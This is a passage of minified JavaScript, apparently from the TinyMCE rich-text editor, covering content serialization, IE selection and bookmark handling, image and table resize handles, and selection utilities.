a.ie&&s.select("script,style,select,map").length>0?(m=t.innerHTML,t=t.cloneNode(!1),s.setHTML(t,m)):t=t.cloneNode(!0),o=t.ownerDocument.implementation,o.createHTMLDocument&&(u=o.createHTMLDocument(""),l("BODY"==t.nodeName?t.childNodes:[t],function(e){u.body.appendChild(u.importNode(e,!0))}),t="BODY"!=t.nodeName?u.body.firstChild:u.body,p=s.doc,s.doc=u),n=n||{},n.format=n.format||"html",n.selection&&(n.forced_root_block=""),n.no_events||(n.node=t,i.onPreProcess(n)),h=new r(e,d),n.content=h.serialize(f.parse(c(n.getInner?t.innerHTML:s.getOuterHTML(t)),n)),n.cleanup||(n.content=n.content.replace(/\uFEFF/g,"")),n.no_events||i.onPostProcess(n),p&&(s.doc=p),n.node=null,n.content},addRules:function(e){d.addValidElements(e)},setRules:function(e){d.setValidElements(e)},onPreProcess:function(e){i&&i.fire("PreProcess",e)},onPostProcess:function(e){i&&i.fire("PostProcess",e)}}}}),r(A,[],function(){function e(e){function t(t,n){var r,i=0,o,a,s,l,c,u,d=-1,f;if(r=t.duplicate(),r.collapse(n),f=r.parentElement(),f.ownerDocument===e.dom.doc){for(;"false"===f.contentEditable;)f=f.parentNode;if(!f.hasChildNodes())return{node:f,inside:1};for(s=f.children,o=s.length-1;o>=i;)if(u=Math.floor((i+o)/2),l=s[u],r.moveToElementText(l),d=r.compareEndPoints(n?"StartToStart":"EndToEnd",t),d>0)o=u-1;else{if(!(0>d))return{node:l};i=u+1}if(0>d)for(l?r.collapse(!1):(r.moveToElementText(f),r.collapse(!0),l=f,a=!0),c=0;0!==r.compareEndPoints(n?"StartToStart":"StartToEnd",t)&&0!==r.move("character",1)&&f==r.parentElement();)c++;else for(r.collapse(!0),c=0;0!==r.compareEndPoints(n?"StartToStart":"StartToEnd",t)&&0!==r.move("character",-1)&&f==r.parentElement();)c++;return{node:l,position:d,offset:c,inside:a}}}function n(){function n(e){var n=t(o,e),r,i,s=0,l,c,u;if(r=n.node,i=n.offset,n.inside&&!r.hasChildNodes())return void a[e?"setStart":"setEnd"](r,0);if(i===c)return void a[e?"setStartBefore":"setEndAfter"](r);if(n.position<0){if(l=n.inside?r.firstChild:r.nextSibling,!l)return void a[e?"setStartAfter":"setEndAfter"](r);if(!i)return void(3==l.nodeType?a[e?"setStart":"setEnd"](l,0):a[e?"setStartBefore":"setEndBefore"](l));for(;l;){if(3==l.nodeType&&(u=l.nodeValue,s+=u.length,s>=i)){r=l,s-=i,s=u.length-s;break}l=l.nextSibling}}else{if(l=r.previousSibling,!l)return a[e?"setStartBefore":"setEndBefore"](r);if(!i)return void(3==r.nodeType?a[e?"setStart":"setEnd"](l,r.nodeValue.length):a[e?"setStartAfter":"setEndAfter"](l));for(;l;){if(3==l.nodeType&&(s+=l.nodeValue.length,s>=i)){r=l,s-=i;break}l=l.previousSibling}}a[e?"setStart":"setEnd"](r,s)}var o=e.getRng(),a=i.createRng(),s,l,c,u,d;if(s=o.item?o.item(0):o.parentElement(),s.ownerDocument!=i.doc)return a;if(l=e.isCollapsed(),o.item)return a.setStart(s.parentNode,i.nodeIndex(s)),a.setEnd(a.startContainer,a.startOffset+1),a;try{n(!0),l||n()}catch(f){if(-2147024809!=f.number)throw f;d=r.getBookmark(2),c=o.duplicate(),c.collapse(!0),s=c.parentElement(),l||(c=o.duplicate(),c.collapse(!1),u=c.parentElement(),u.innerHTML=u.innerHTML),s.innerHTML=s.innerHTML,r.moveToBookmark(d),o=e.getRng(),n(!0),l||n()}return a}var r=this,i=e.dom,o=!1;this.getBookmark=function(n){function r(e){var t,n,r,o,a=[];for(t=e.parentNode,n=i.getRoot().parentNode;t!=n&&9!==t.nodeType;){for(r=t.children,o=r.length;o--;)if(e===r[o]){a.push(o);break}e=t,t=t.parentNode}return a}function o(e){var n;return n=t(a,e),n?{position:n.position,offset:n.offset,indexes:r(n.node),inside:n.inside}:void 0}var a=e.getRng(),s={};return 2===n&&(a.item?s.start={ctrl:!0,indexes:r(a.item(0))}:(s.start=o(!0),e.isCollapsed()||(s.end=o()))),s},this.moveToBookmark=function(e){function t(e){var t,n,r,o;for(t=i.getRoot(),n=e.length-1;n>=0;n--)o=t.children,r=e[n],r<=o.length-1&&(t=o[r]);return t}function n(n){var i=e[n?"start":"end"],a,s,l,c;i&&(a=i.position>0,s=o.createTextRange(),s.moveToElementText(t(i.indexes)),c=i.offset,c!==l?(s.collapse(i.inside||a),s.moveStart("character",a?-c:c)):s.collapse(n),r.setEndPoint(n?"StartToStart":"EndToStart",s),n&&r.collapse(!0))}var r,o=i.doc.body;e.start&&(e.start.ctrl?(r=o.createControlRange(),r.addElement(t(e.start.indexes)),r.select()):(r=o.createTextRange(),n(!0),n(),r.select()))},this.addRange=function(t){function n(e){var t,n,a,d,h;a=i.create("a"),t=e?s:c,n=e?l:u,d=r.duplicate(),(t==f||t==f.documentElement)&&(t=p,n=0),3==t.nodeType?(t.parentNode.insertBefore(a,t),d.moveToElementText(a),d.moveStart("character",n),i.remove(a),r.setEndPoint(e?"StartToStart":"EndToEnd",d)):(h=t.childNodes,h.length?(n>=h.length?i.insertAfter(a,h[h.length-1]):t.insertBefore(a,h[n]),d.moveToElementText(a)):t.canHaveHTML&&(t.innerHTML="<span>&#xFEFF;</span>",a=t.firstChild,d.moveToElementText(a),d.collapse(o)),r.setEndPoint(e?"StartToStart":"EndToEnd",d),i.remove(a))}var r,a,s,l,c,u,d,f=e.dom.doc,p=f.body,h,m;if(s=t.startContainer,l=t.startOffset,c=t.endContainer,u=t.endOffset,r=p.createTextRange(),s==c&&1==s.nodeType){if(l==u&&!s.hasChildNodes()){if(s.canHaveHTML)return d=s.previousSibling,d&&!d.hasChildNodes()&&i.isBlock(d)?d.innerHTML="&#xFEFF;":d=null,s.innerHTML="<span>&#xFEFF;</span><span>&#xFEFF;</span>",r.moveToElementText(s.lastChild),r.select(),i.doc.selection.clear(),s.innerHTML="",void(d&&(d.innerHTML=""));l=i.nodeIndex(s),s=s.parentNode}if(l==u-1)try{if(m=s.childNodes[l],a=p.createControlRange(),a.addElement(m),a.select(),h=e.getRng(),h.item&&m===h.item(0))return}catch(g){}}n(!0),n(),r.select()},this.getRangeAt=n}return e}),r(B,[u],function(e){return{BACKSPACE:8,DELETE:46,DOWN:40,ENTER:13,LEFT:37,RIGHT:39,SPACEBAR:32,TAB:9,UP:38,modifierPressed:function(e){return e.shiftKey||e.ctrlKey||e.altKey||this.metaKeyPressed(e)},metaKeyPressed:function(t){return e.mac?t.metaKey:t.ctrlKey&&!t.altKey}}}),r(D,[B,d,u],function(e,t,n){return function(r,i){function o(e){var t=i.settings.object_resizing;return t===!1||n.iOS?!1:("string"!=typeof t&&(t="table,img,div"),"false"===e.getAttribute("data-mce-resize")?!1:i.dom.is(e,t))}function a(t){var n,r,o,a,s;n=t.screenX-T,r=t.screenY-R,P=n*k[2]+D,O=r*k[3]+L,P=5>P?5:P,O=5>O?5:O,o="IMG"==w.nodeName&&i.settings.resize_img_proportional!==!1?!e.modifierPressed(t):e.modifierPressed(t)||"IMG"==w.nodeName&&k[2]*k[3]!==0,o&&(W(n)>W(r)?(O=V(P*H),P=V(O/H)):(P=V(O/H),O=V(P*H))),C.setStyles(_,{width:P,height:O}),a=k.startPos.x+n,s=k.startPos.y+r,a=a>0?a:0,s=s>0?s:0,C.setStyles(E,{left:a,top:s,display:"block"}),E.innerHTML=P+" &times; "+O,k[2]<0&&_.clientWidth<=P&&C.setStyle(_,"left",A+(D-P)),k[3]<0&&_.clientHeight<=O&&C.setStyle(_,"top",B+(L-O)),n=U.scrollWidth-$,r=U.scrollHeight-q,n+r!==0&&C.setStyles(E,{left:a-n,top:s-r}),M||(i.fire("ObjectResizeStart",{target:w,width:D,height:L}),M=!0)}function s(){function e(e,t){t&&(w.style[e]||!i.schema.isValid(w.nodeName.toLowerCase(),e)?C.setStyle(w,e,t):C.setAttrib(w,e,t))}M=!1,e("width",P),e("height",O),C.unbind(I,"mousemove",a),C.unbind(I,"mouseup",s),F!=I&&(C.unbind(F,"mousemove",a),C.unbind(F,"mouseup",s)),C.remove(_),C.remove(E),z&&"TABLE"!=w.nodeName||l(w),i.fire("ObjectResized",{target:w,width:P,height:O}),C.setAttrib(w,"style",C.getAttrib(w,"style")),i.nodeChanged()}function l(e,t,r){var l,u,d,f,p;g(),l=C.getPos(e,U),A=l.x,B=l.y,p=e.getBoundingClientRect(),u=p.width||p.right-p.left,d=p.height||p.bottom-p.top,w!=e&&(m(),w=e,P=O=0),f=i.fire("ObjectSelected",{target:e}),o(e)&&!f.isDefaultPrevented()?x(N,function(e,i){function o(t){T=t.screenX,R=t.screenY,D=w.clientWidth,L=w.clientHeight,H=L/D,k=e,e.startPos={x:u*e[0]+A,y:d*e[1]+B},$=U.scrollWidth,q=U.scrollHeight,_=w.cloneNode(!0),C.addClass(_,"mce-clonedresizable"),C.setAttrib(_,"data-mce-bogus","all"),_.contentEditable=!1,_.unSelectabe=!0,C.setStyles(_,{left:A,top:B,margin:0}),_.removeAttribute("data-mce-selected"),U.appendChild(_),C.bind(I,"mousemove",a),C.bind(I,"mouseup",s),F!=I&&(C.bind(F,"mousemove",a),C.bind(F,"mouseup",s)),E=C.add(U,"div",{"class":"mce-resize-helper","data-mce-bogus":"all"},D+" &times; "+L)}var l,c;return t?void(i==t&&o(r)):(l=C.get("mceResizeHandle"+i),l?C.show(l):(c=U,l=C.add(c,"div",{id:"mceResizeHandle"+i,"data-mce-bogus":"all","class":"mce-resizehandle",unselectable:!0,style:"cursor:"+i+"-resize; margin:0; padding:0"}),n.ie&&(l.contentEditable=!1)),e.elm||(C.bind(l,"mousedown",function(e){e.stopImmediatePropagation(),e.preventDefault(),o(e)}),e.elm=l),void C.setStyles(l,{left:u*e[0]+A-l.offsetWidth/2,top:d*e[1]+B-l.offsetHeight/2}))}):c(),w.setAttribute("data-mce-selected","1")}function c(){var e,t;g(),w&&w.removeAttribute("data-mce-selected");for(e in N)t=C.get("mceResizeHandle"+e),t&&(C.unbind(t),C.remove(t))}function u(e){function t(e,t){if(e)do if(e===t)return!0;while(e=e.parentNode)}var n,i;if(!M)return x(C.select("img[data-mce-selected],hr[data-mce-selected]"),function(e){e.removeAttribute("data-mce-selected")}),i="mousedown"==e.type?e.target:r.getNode(),i=C.$(i).closest(z?"table":"table,img,hr")[0],t(i,U)&&(v(),n=r.getStart(!0),t(n,i)&&t(r.getEnd(!0),i)&&(!z||i!=n&&"IMG"!==n.nodeName))?void l(i):void c()}function d(e,t,n){e&&e.attachEvent&&e.attachEvent("on"+t,n)}function f(e,t,n){e&&e.detachEvent&&e.detachEvent("on"+t,n)}function p(e){var t=e.srcElement,n,r,o,a,s,c,u;n=t.getBoundingClientRect(),c=S.clientX-n.left,u=S.clientY-n.top;for(r in N)if(o=N[r],a=t.offsetWidth*o[0],s=t.offsetHeight*o[1],W(a-c)<8&&W(s-u)<8){k=o;break}M=!0,i.fire("ObjectResizeStart",{target:w,width:w.clientWidth,height:w.clientHeight}),i.getDoc().selection.empty(),l(t,r,S)}function h(e){var t=e.srcElement;if(t!=w){if(i.fire("ObjectSelected",{target:t}),m(),0===t.id.indexOf("mceResizeHandle"))return void(e.returnValue=!1);("IMG"==t.nodeName||"TABLE"==t.nodeName)&&(c(),w=t,d(t,"resizestart",p))}}function m(){f(w,"resizestart",p)}function g(){for(var e in N){var t=N[e];t.elm&&(C.unbind(t.elm),delete t.elm)}}function v(){try{i.getDoc().execCommand("enableObjectResizing",!1,!1)}catch(e){}}function y(e){var t;if(z){t=I.body.createControlRange();try{return t.addElement(e),t.select(),!0}catch(n){}}}function b(){w=_=null,z&&(m(),f(U,"controlselect",h))}var C=i.dom,x=t.each,w,_,E,N,k,S,T,R,A,B,D,L,H,M,P,O,I=i.getDoc(),F=document,z=n.ie&&n.ie<11,W=Math.abs,V=Math.round,U=i.getBody(),$,q;N={n:[.5,0,0,-1],e:[1,.5,1,0],s:[.5,1,0,1],w:[0,.5,-1,0],nw:[0,0,-1,-1],ne:[1,0,1,-1],se:[1,1,1,1],sw:[0,1,-1,1]};var j=".mce-content-body";return i.contentStyles.push(j+" div.mce-resizehandle {position: absolute;border: 1px solid black;background: #FFF;width: 5px;height: 5px;z-index: 10000}"+j+" .mce-resizehandle:hover {background: #000}"+j+" img[data-mce-selected], hr[data-mce-selected] {outline: 1px solid black;resize: none}"+j+" .mce-clonedresizable {position: absolute;"+(n.gecko?"":"outline: 1px dashed black;")+"opacity: .5;filter: alpha(opacity=50);z-index: 10000}"+j+" .mce-resize-helper {background: #555;background: rgba(0,0,0,0.75);border-radius: 3px;border: 1px;color: white;display: none;font-family: sans-serif;font-size: 12px;white-space: nowrap;line-height: 14px;margin: 5px 10px;padding: 5px;position: absolute;z-index: 10001}"),i.on("init",function(){z?(i.on("ObjectResized",function(e){"TABLE"!=e.target.nodeName&&(c(),y(e.target))}),d(U,"controlselect",h),i.on("mousedown",function(e){S=e})):(v(),n.ie>=11&&(i.on("mouseup",function(e){var t=e.target.nodeName;!M&&/^(TABLE|IMG|HR)$/.test(t)&&(i.selection.select(e.target,"TABLE"==t),i.nodeChanged())}),i.dom.bind(U,"mscontrolselect",function(e){/^(TABLE|IMG|HR)$/.test(e.target.nodeName)&&(e.preventDefault(),"IMG"==e.target.tagName&&window.setTimeout(function(){i.selection.select(e.target)},0))}))),i.on("nodechange ResizeEditor",u),i.on("keydown keyup",function(e){w&&"TABLE"==w.nodeName&&u(e)}),i.on("hide",c)}),i.on("remove",g),{isResizable:o,showResizeRect:l,hideResizeRect:c,updateResizeRect:u,controlSelect:y,destroy:b}}}),r(L,[u,d],function(e,t){function n(n){var r=n.dom;this.getBookmark=function(e,i){function o(e,n){var i=0;return t.each(r.select(e),function(e,t){e==n&&(i=t)}),i}function a(e){function t(t){var n,r,i,o=t?"start":"end";n=e[o+"Container"],r=e[o+"Offset"],1==n.nodeType&&"TR"==n.nodeName&&(i=n.childNodes,n=i[Math.min(t?r:r-1,i.length-1)],n&&(r=t?0:n.childNodes.length,e["set"+(t?"Start":"End")](n,r)))}return t(!0),t(),e}function s(){function e(e,t){var n=e[t?"startContainer":"endContainer"],a=e[t?"startOffset":"endOffset"],s=[],l,c,u=0;if(3==n.nodeType){if(i)for(l=n.previousSibling;l&&3==l.nodeType;l=l.previousSibling)a+=l.nodeValue.length;s.push(a)}else c=n.childNodes,a>=c.length&&c.length&&(u=1,a=Math.max(0,c.length-1)),s.push(r.nodeIndex(c[a],i)+u);for(;n&&n!=o;n=n.parentNode)s.push(r.nodeIndex(n,i));return s}var t=n.getRng(!0),o=r.getRoot(),a={};return a.start=e(t,!0),n.isCollapsed()||(a.end=e(t)),a}var l,c,u,d,f,p,h="&#xFEFF;",m;if(2==e)return p=n.getNode(),f=p?p.nodeName:null,"IMG"==f?{name:f,index:o(f,p)}:n.tridentSel?n.tridentSel.getBookmark(e):s();if(e)return{rng:n.getRng()};if(l=n.getRng(),u=r.uniqueId(),d=n.isCollapsed(),m="overflow:hidden;line-height:0px",l.duplicate||l.item){if(l.item)return p=l.item(0),f=p.nodeName,{name:f,index:o(f,p)};c=l.duplicate();try{l.collapse(),l.pasteHTML('<span data-mce-type="bookmark" id="'+u+'_start" style="'+m+'">'+h+"</span>"),d||(c.collapse(!1),l.moveToElementText(c.parentElement()),0===l.compareEndPoints("StartToEnd",c)&&c.move("character",-1),c.pasteHTML('<span data-mce-type="bookmark" id="'+u+'_end" style="'+m+'">'+h+"</span>"))}catch(g){return null}}else{if(p=n.getNode(),f=p.nodeName,"IMG"==f)return{name:f,index:o(f,p)};c=a(l.cloneRange()),d||(c.collapse(!1),c.insertNode(r.create("span",{"data-mce-type":"bookmark",id:u+"_end",style:m},h))),l=a(l),l.collapse(!0),l.insertNode(r.create("span",{"data-mce-type":"bookmark",id:u+"_start",style:m},h))}return n.moveToBookmark({id:u,keep:1}),{id:u}},this.moveToBookmark=function(i){function o(e){var t=i[e?"start":"end"],n,r,o,a;if(t){for(o=t[0],r=c,n=t.length-1;n>=1;n--){if(a=r.childNodes,t[n]>a.length-1)return;r=a[t[n]]}3===r.nodeType&&(o=Math.min(t[0],r.nodeValue.length)),1===r.nodeType&&(o=Math.min(t[0],r.childNodes.length)),e?l.setStart(r,o):l.setEnd(r,o)}return!0}function a(n){var o=r.get(i.id+"_"+n),a,s,l,c,h=i.keep;if(o&&(a=o.parentNode,"start"==n?(h?(a=o.firstChild,s=1):s=r.nodeIndex(o),u=d=a,f=p=s):(h?(a=o.firstChild,s=1):s=r.nodeIndex(o),d=a,p=s),!h)){for(c=o.previousSibling,l=o.nextSibling,t.each(t.grep(o.childNodes),function(e){3==e.nodeType&&(e.nodeValue=e.nodeValue.replace(/\uFEFF/g,""))});o=r.get(i.id+"_"+n);)r.remove(o,1);c&&l&&c.nodeType==l.nodeType&&3==c.nodeType&&!e.opera&&(s=c.nodeValue.length,c.appendData(l.nodeValue),r.remove(l),"start"==n?(u=d=c,f=p=s):(d=c,p=s))}}function s(t){return!r.isBlock(t)||t.innerHTML||e.ie||(t.innerHTML='<br data-mce-bogus="1" />'),t}var l,c,u,d,f,p;if(i)if(i.start){if(l=r.createRng(),c=r.getRoot(),n.tridentSel)return n.tridentSel.moveToBookmark(i);o(!0)&&o()&&n.setRng(l)}else i.id?(a("start"),a("end"),u&&(l=r.createRng(),l.setStart(s(u),f),l.setEnd(s(d),p),n.setRng(l))):i.name?n.select(r.select(i.name)[i.index]):i.rng&&n.setRng(i.rng)}}return n.isBookmarkNode=function(e){return e&&"SPAN"===e.tagName&&"bookmark"===e.getAttribute("data-mce-type")},n}),r(H,[h,A,D,x,L,u,d],function(e,n,r,i,o,a,s){function l(e,t,i,a){var s=this;s.dom=e,s.win=t,s.serializer=i,s.editor=a,s.bookmarkManager=new o(s),s.controlSelection=new r(s,a),s.win.getSelection||(s.tridentSel=new n(s))}var c=s.each,u=s.trim,d=a.ie;return l.prototype={setCursorLocation:function(e,t){var n=this,r=n.dom.createRng();e?(r.setStart(e,t),r.setEnd(e,t),n.setRng(r),n.collapse(!1)):(n._moveEndPoint(r,n.editor.getBody(),!0),n.setRng(r))},getContent:function(e){var n=this,r=n.getRng(),i=n.dom.create("body"),o=n.getSel(),a,s,l;return e=e||{},a=s="",e.get=!0,e.format=e.format||"html",e.selection=!0,n.editor.fire("BeforeGetContent",e),"text"==e.format?n.isCollapsed()?"":r.text||(o.toString?o.toString():""):(r.cloneContents?(l=r.cloneContents(),l&&i.appendChild(l)):r.item!==t||r.htmlText!==t?(i.innerHTML="<br>"+(r.item?r.item(0).outerHTML:r.htmlText),i.removeChild(i.firstChild)):i.innerHTML=r.toString(),/^\s/.test(i.innerHTML)&&(a=" "),/\s+$/.test(i.innerHTML)&&(s=" "),e.getInner=!0,e.content=n.isCollapsed()?"":a+n.serializer.serialize(i,e)+s,n.editor.fire("GetContent",e),e.content)},setContent:function(e,t){var n=this,r=n.getRng(),i,o=n.win.document,a,s;if(t=t||{format:"html"},t.set=!0,t.selection=!0,e=t.content=e,t.no_events||n.editor.fire("BeforeSetContent",t),e=t.content,r.insertNode){e+='<span id="__caret">_</span>',r.startContainer==o&&r.endContainer==o?o.body.innerHTML=e:(r.deleteContents(),0===o.body.childNodes.length?o.body.innerHTML=e:r.createContextualFragment?r.insertNode(r.createContextualFragment(e)):(a=o.createDocumentFragment(),s=o.createElement("div"),a.appendChild(s),s.outerHTML=e,r.insertNode(a))),i=n.dom.get("__caret"),r=o.createRange(),r.setStartBefore(i),r.setEndBefore(i),n.setRng(r),n.dom.remove("__caret");try{n.setRng(r)}catch(l){}}else r.item&&(o.execCommand("Delete",!1,null),r=n.getRng()),/^\s+/.test(e)?(r.pasteHTML('<span id="__mce_tmp">_</span>'+e),n.dom.remove("__mce_tmp")):r.pasteHTML(e);t.no_events||n.editor.fire("SetContent",t)},getStart:function(e){var t=this,n=t.getRng(),r,i,o,a;if(n.duplicate||n.item){if(n.item)return n.item(0);for(o=n.duplicate(),o.collapse(1),r=o.parentElement(),r.ownerDocument!==t.dom.doc&&(r=t.dom.getRoot()),i=a=n.parentElement();a=a.parentNode;)if(a==r){r=i;break}return r}return r=n.startContainer,1==r.nodeType&&r.hasChildNodes()&&(e&&n.collapsed||(r=r.childNodes[Math.min(r.childNodes.length-1,n.startOffset)])),r&&3==r.nodeType?r.parentNode:r},getEnd:function(e){var t=this,n=t.getRng(),r,i;return n.duplicate||n.item?n.item?n.item(0):(n=n.duplicate(),n.collapse(0),r=n.parentElement(),r.ownerDocument!==t.dom.doc&&(r=t.dom.getRoot()),r&&"BODY"==r.nodeName?r.lastChild||r:r):(r=n.endContainer,i=n.endOffset,1==r.nodeType&&r.hasChildNodes()&&(e&&n.collapsed||(r=r.childNodes[i>0?i-1:i])),r&&3==r.nodeType?r.parentNode:r)},getBookmark:function(e,t){return this.bookmarkManager.getBookmark(e,t)},moveToBookmark:function(e){return this.bookmarkManager.moveToBookmark(e)},select:function(e,t){var n=this,r=n.dom,i=r.createRng(),o;if(n.lastFocusBookmark=null,e){if(!t&&n.controlSelection.controlSelect(e))return;o=r.nodeIndex(e),i.setStart(e.parentNode,o),i.setEnd(e.parentNode,o+1),t&&(n._moveEndPoint(i,e,!0),n._moveEndPoint(i,e)),n.setRng(i)}return e},isCollapsed:function(){var e=this,t=e.getRng(),n=e.getSel();return!t||t.item?!1:t.compareEndPoints?0===t.compareEndPoints("StartToEnd",t):!n||t.collapsed},collapse:function(e){var t=this,n=t.getRng(),r;n.item&&(r=n.item(0),n=t.win.document.body.createTextRange(),n.moveToElementText(r)),n.collapse(!!e),t.setRng(n)},getSel:function(){var e=this.win;return e.getSelection?e.getSelection():e.document.selection},getRng:function(e){function t(e,t,n){try{return t.compareBoundaryPoints(e,n)}catch(r){return-1}}var n=this,r,i,o,a=n.win.document,s;if(!e&&n.lastFocusBookmark){var l=n.lastFocusBookmark;return l.startContainer?(i=a.createRange(),i.setStart(l.startContainer,l.startOffset),i.setEnd(l.endContainer,l.endOffset)):i=l,i}if(e&&n.tridentSel)return n.tridentSel.getRangeAt(0);try{(r=n.getSel())&&(i=r.rangeCount>0?r.getRangeAt(0):r.createRange?r.createRange():a.createRange())}catch(c){}if(d&&i&&i.setStart&&a.selection){try{s=a.selection.createRange()}catch(c){}s&&s.item&&(o=s.item(0),i=a.createRange(),i.setStartBefore(o),i.setEndAfter(o))}return i||(i=a.createRange?a.createRange():a.body.createTextRange()),i.setStart&&9===i.startContainer.nodeType&&i.collapsed&&(o=n.dom.getRoot(),i.setStart(o,0),i.setEnd(o,0)),n.selectedRange&&n.explicitRange&&(0===t(i.START_TO_START,i,n.selectedRange)&&0===t(i.END_TO_END,i,n.selectedRange)?i=n.explicitRange:(n.selectedRange=null,n.explicitRange=null)),i},setRng:function(e,t){var n=this,r;if(e)if(e.select)try{e.select()}catch(i){}else if(n.tridentSel){if(e.cloneRange)try{return void n.tridentSel.addRange(e)}catch(i){}}else if(r=n.getSel()){n.explicitRange=e;try{r.removeAllRanges(),r.addRange(e)}catch(i){}t===!1&&r.extend&&(r.collapse(e.endContainer,e.endOffset),r.extend(e.startContainer,e.startOffset)),n.selectedRange=r.rangeCount>0?r.getRangeAt(0):null}},setNode:function(e){var t=this;return t.setContent(t.dom.getOuterHTML(e)),e},getNode:function(){function e(e,t){for(var n=e;e&&3===e.nodeType&&0===e.length;)e=t?e.nextSibling:e.previousSibling;return e||n}var t=this,n=t.getRng(),r,i=n.startContainer,o=n.endContainer,a=n.startOffset,s=n.endOffset,l=t.dom.getRoot();return n?n.setStart?(r=n.commonAncestorContainer,!n.collapsed&&(i==o&&2>s-a&&i.hasChildNodes()&&(r=i.childNodes[a]),3===i.nodeType&&3===o.nodeType&&(i=i.length===a?e(i.nextSibling,!0):i.parentNode,o=0===s?e(o.previousSibling,!1):o.parentNode,i&&i===o))?i:r&&3==r.nodeType?r.parentNode:r):(r=n.item?n.item(0):n.parentElement(),r.ownerDocument!==t.win.document&&(r=l),r):l},getSelectedBlocks:function(t,n){var r=this,i=r.dom,o,a,s=[];if(a=i.getRoot(),t=i.getParent(t||r.getStart(),i.isBlock),n=i.getParent(n||r.getEnd(),i.isBlock),t&&t!=a&&s.push(t),t&&n&&t!=n){o=t;for(var l=new e(t,a);(o=l.next())&&o!=n;)i.isBlock(o)&&s.push(o)}return n&&t!=n&&n!=a&&s.push(n),s},isForward:function(){var e=this.dom,t=this.getSel(),n,r;return t&&t.anchorNode&&t.focusNode?(n=e.createRng(),n.setStart(t.anchorNode,t.anchorOffset),n.collapse(!0),r=e.createRng(),r.setStart(t.focusNode,t.focusOffset),r.collapse(!0),n.compareBoundaryPoints(n.START_TO_START,r)<=0):!0},normalize:function(){var e=this,t=e.getRng();return!d&&new i(e.dom).normalize(t)&&e.setRng(t,e.isForward()),t},selectorChanged:function(e,t){var n=this,r;return n.selectorChangedData||(n.selectorChangedData={},r={},n.editor.on("NodeChange",function(e){var t=e.element,i=n.dom,o=i.getParents(t,null,i.getRoot()),a={};c(n.selectorChangedData,function(e,t){c(o,function(n){return i.is(n,t)?(r[t]||(c(e,function(e){e(!0,{node:n,selector:t,parents:o})}),r[t]=e),a[t]=e,!1):void 0})}),c(r,function(e,n){a[n]||(delete r[n],c(e,function(e){e(!1,{node:t,selector:n,parents:o})}))})})),n.selectorChangedData[e]||(n.selectorChangedData[e]=[]),n.selectorChangedData[e].push(t),n},getScrollContainer:function(){for(var e,t=this.dom.getRoot();t&&"BODY"!=t.nodeName;){if(t.scrollHeight>t.clientHeight){e=t;break}t=t.parentNode}return e},scrollIntoView:function(e){function t(e){for(var t=0,n=0,r=e;r&&r.nodeType;)t+=r.offsetLeft||0,n+=r.offsetTop||0,r=r.offsetParent;return{x:t,y:n}}var n,r,i=this,o=i.dom,a=o.getRoot(),s,l;if("BODY"!=a.nodeName){var c=i.getScrollContainer();if(c)return n=t(e).y-t(c).y,l=c.clientHeight,s=c.scrollTop,void((s>n||n+25>s+l)&&(c.scrollTop=s>n?n:n-l+25))}r=o.getViewPort(i.editor.getWin()),n=o.getPos(e).y,s=r.y,l=r.h,(n<r.y||n+25>s+l)&&i.editor.getWin().scrollTo(0,s>n?n:n-l+25)},placeCaretAt:function(e,t){var n=this.editor.getDoc(),r,i;if(n.caretPositionFromPoint)i=n.caretPositionFromPoint(e,t),r=n.createRange(),r.setStart(i.offsetNode,i.offset),r.collapse(!0);else if(n.caretRangeFromPoint)r=n.caretRangeFromPoint(e,t);else if(n.body.createTextRange){r=n.body.createTextRange();try{r.moveToPoint(e,t),r.collapse(!0)}catch(o){r.collapse(t<n.body.clientHeight)}}this.setRng(r)},_moveEndPoint:function(t,n,r){var i=n,o=new e(n,i),s=this.dom.schema.getNonEmptyElements();do{if(3==n.nodeType&&0!==u(n.nodeValue).length)return void(r?t.setStart(n,0):t.setEnd(n,n.nodeValue.length));if(s[n.nodeName]&&!/^(TD|TH)$/.test(n.nodeName))return void(r?t.setStartBefore(n):"BR"==n.nodeName?t.setEndBefore(n):t.setEndAfter(n));if(a.ie&&a.ie<11&&this.dom.isBlock(n)&&this.dom.isEmpty(n))return void(r?t.setStart(n,0):t.setEnd(n,0))}while(n=r?o.next():o.prev());"BODY"==i.nodeName&&(r?t.setStart(i,0):t.setEnd(i,i.childNodes.length))},destroy:function(){this.win=null,this.controlSelection.destroy()}},l}),r(M,[L,d],function(e,t){function n(t){this.compare=function(n,i){function o(e){var n={};return r(t.getAttribs(e),function(r){var i=r.nodeName.toLowerCase();0!==i.indexOf("_")&&"style"!==i&&"data-mce-style"!==i&&(n[i]=t.getAttrib(e,i))}),n}function a(e,t){var n,r;for(r in e)if(e.hasOwnProperty(r)){if(n=t[r],"undefined"==typeof n)return!1;if(e[r]!=n)return!1;delete t[r]}for(r in t)if(t.hasOwnProperty(r))return!1;return!0}return n.nodeName!=i.nodeName?!1:a(o(n),o(i))&&a(t.parseStyle(t.getAttrib(n,"style")),t.parseStyle(t.getAttrib(i,"style")))?!e.isBookmarkNode(n)&&!e.isBookmarkNode(i):!1}}var r=t.each;return n}),r(P,[d],function(e){function t(e,t){function r(e){return e.replace(/%(\w+)/g,"")}var i,o,a=e.dom,s="",l,c;if(c=e.settings.preview_styles,c===!1)return"";if(c||(c="font-family font-size font-weight font-style text-decoration text-transform color background-color border border-radius outline text-shadow"),"string"==typeof t){if(t=e.formatter.get(t),!t)return;t=t[0]}return i=t.block||t.inline||"span",o=a.create(i),n(t.styles,function(e,t){e=r(e),e&&a.setStyle(o,t,e)}),n(t.attributes,function(e,t){e=r(e),e&&a.setAttrib(o,t,e)}),n(t.classes,function(e){e=r(e),a.hasClass(o,e)||a.addClass(o,e)}),e.fire("PreviewFormats"),a.setStyles(o,{position:"absolute",left:-65535}),e.getBody().appendChild(o),l=a.getStyle(e.getBody(),"fontSize",!0),l=/px$/.test(l)?parseInt(l,10):0,n(c.split(" "),function(t){var n=a.getStyle(o,t,!0);if(!("background-color"==t&&/transparent|rgba\s*\([^)]+,\s*0\)/.test(n)&&(n=a.getStyle(e.getBody(),t,!0),"#ffffff"==a.toHex(n).toLowerCase())||"color"==t&&"#000000"==a.toHex(n).toLowerCase())){if("font-size"==t&&/em|%$/.test(n)){if(0===l)return;n=parseFloat(n,10)/(/%$/.test(n)?100:1),n=n*l+"px"
